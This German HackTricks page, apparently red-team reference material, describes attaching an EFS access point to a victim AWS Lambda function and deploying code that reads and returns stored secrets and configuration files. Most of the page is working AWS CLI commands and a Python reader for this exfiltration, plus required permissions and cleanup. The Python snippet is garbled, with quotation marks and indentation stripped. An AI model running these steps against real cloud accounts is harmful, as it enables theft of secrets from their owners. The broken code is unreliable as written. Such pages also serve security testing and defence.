AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Datenexfiltration)

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Missbrauche lambda:UpdateFunctionConfiguration, um einen vorhandenen EFS Access Point an eine Lambda zu hängen, und stelle dann trivialen Code bereit, der Dateien aus dem gemounteten Pfad auflistet/liest, um gemeinsam genutzte Geheimnisse/Konfigurationen zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.

Anforderungen

  • Berechtigungen im Ziel-Account/-Principal:
  • lambda:GetFunctionConfiguration
  • lambda:ListFunctions (um Funktionen zu finden)
  • lambda:UpdateFunctionConfiguration
  • lambda:UpdateFunctionCode
  • lambda:InvokeFunction
  • efs:DescribeMountTargets (um zu bestätigen, dass Mount Targets existieren)
  • Annahmen zur Umgebung:
  • Target Lambda ist VPC-fähig und ihre Subnets/SGs können das EFS mount target SG über TCP/2049 erreichen (z. B. hat die Rolle AWSLambdaVPCAccessExecutionRole und das VPC-Routing erlaubt dies).
  • Der EFS Access Point befindet sich in derselben VPC und hat Mount Targets in den AZs der Lambda-Subnets.

Angriff

  • Variablen
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
  1. Hänge den EFS Access Point an die Lambda-Funktion an
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. Überschreibe den Code mit einem einfachen reader, der Dateien auflistet und die ersten 200 Bytes einer möglichen secret/config file einliest.
cat > reader.py <<PY
import os, json
BASE=/mnt/ht

def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. Aufrufen und Daten abrufen
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json

Die Ausgabe sollte das Verzeichnislisting unter /mnt/ht und eine kleine Vorschau einer ausgewählten secret/config file von EFS enthalten.

Auswirkungen

Ein Angreifer mit den aufgeführten Berechtigungen kann beliebige in-VPC EFS Access Points in Opfer-Lambda-Funktionen einhängen, um gemeinsam genutzte Konfigurationen und secrets, die auf EFS gespeichert sind und zuvor für diese Funktion unzugänglich waren, auszulesen und zu exfiltrieren.

Bereinigung

aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks